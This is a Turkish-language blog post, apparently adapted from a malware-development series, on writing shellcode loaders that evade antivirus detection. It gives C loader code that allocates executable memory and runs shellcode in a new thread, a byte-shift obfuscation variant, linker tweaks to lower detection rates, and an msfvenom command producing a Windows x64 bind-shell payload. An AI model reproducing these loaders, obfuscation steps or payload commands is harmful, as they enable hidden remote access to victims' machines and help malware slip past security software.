Shellcode
AV yazılımlarına yakalanmamaya çalışarak malicious shellcode yazımı…
Bu yazıda kaynak olarak https://0xpat.github.io/ blogunda anlatılan malware development part 1 konusu ele alınmıştır.
Antivirüs programlarının üç tür algılama mekanizması vardır. Bunlar:
- Signature based detection yani imza tabanlı algılama
- Heuristic detection, uygulama davranışının statik analizi ve potansiyel olarak kötü niyetli özelliklerin belirlenmesi
- Sandboxing, eylemlerin izlendiği kontrollü bir ortamda (sandbox) yürütülen programın dinamik analizi
Farklı tespit mekanizmalarından kaçmak için kullanılan birçok teknik mevcuttur. Örneğin:
- Polimorfik kötü amaçlı yazılım, imza tabanlı algılamayı engelleyebilir.
- Kod akışının gizlenmesi ile heuristic algılamadan kaçabilir.
- Çevresel kontrollere dayalı koşullu ifadeler, korumalı alanları algılayabilir ve atlayabilir.
- Hassas bilgilerin kodlanması(encoding) veya şifrelenmesi(encryption), imza tabanlı algılamanın yanı sıra heuristic algılamayı da atlamaya yardımcı olabilir.
Malicious shellcode için metasploit kullanabiliriz. Metasploit ile payload oluşturma ve bind tcp hakkkında bilgi almak isterseniz yazıma buradan ulaşabilirsiniz:
Windows shellcodelar, yüklenen sistem kitaplıklarının (kernel32.dll, kernelbase.dll veya ntdll.dll) adresini bulmak için genellikle TEB ve PEB kullanır. TEB (Thread Environment Block), o anda çalışan thread hakkında bilgi depolayan Win32'deki bir veri yapısıdır. PEB (Process Environment Block), süreç çevre blok da bir veri yapısıdır.
Executing Shellcode
#include <Windows.h>void main()
{
const char shellcode[] = "\xfc\xe8\x82 (...)";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode); DWORD threadID; HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID); WaitForSingleObject(hThread, INFINITE);
}
- Windows.h kütüphanesi windows apilerinin fonksiyonları için kullanılan kütühanedir.
- VirtualAlloc kullanılarak yeni bir bellek bölgesi ayrılır.
- RtlCopyMemory ile ayrılmış yer shellcode baytlarıyla doldurulur.
- CreateThread ile yeni bir thread oluşturulur.
Shellcode Gizleme
Encryption işlemi deneyebiliriz, shellcode’un tüm baytlarına ROT13 şifresi uygulayabiliriz. Böylece 0x41 değeri 0x54 olur. Execution sırasında shellcode’un her baytından 0x0D(13) değeri çıkarılarak şifre çözülmüş olur(decrypted) :
#include <Windows.h>void main(){
const char shellcode[] = "\x09\xf5\x8f (...) ";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode); DWORD threadID; for (int i = 0; i < sizeof shellcode; i++)
{
((char*)shellcode_exec)[i] = (((char*)shellcode_exec)[i]) - 13;
} HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID); WaitForSingleObject(hThread, INFINITE);}
Şifreleme işleminden önce ve sonra virustotal tespit oranları:
Visual C ++ proje derleme ve linking özellikleriyle oynandığında, örneğin linker seçeneklerinden (özellikle kernel32.lib) ek bağımlılıklar kaldırıldığında, bazı kötü amaçlı yazılım önleme motorları ortaya çıkan yürütülebilir dosyayı kötü amaçlı olarak işaretlemeyi durdurur. kernel32.lib statik kitaplığı derlemeden sonra statik olarak bağlanacaktır, çünkü yürütülebilir dosyanın temel API işlevlerini (kernel32.dll’den) nerede bulacağını bilmesi gerekir. Bu trickle yakalanma oranı azaltılabilir:
Çoğu bilgisayar 64-bit sistemler çalıştırıyor. X64 için payload oluşturunca x86 için yapılan tespit oranlarından daha düşük bir tespit oranı görebiliriz.
x64 mimari için oluşturalacak payload:
msfvenom -p windows/x64/shell_bind_tcp LPORT=4444 -f raw
Algılama oranı x86 mimari seçilerek oluşturulan payloaddan daha düşük: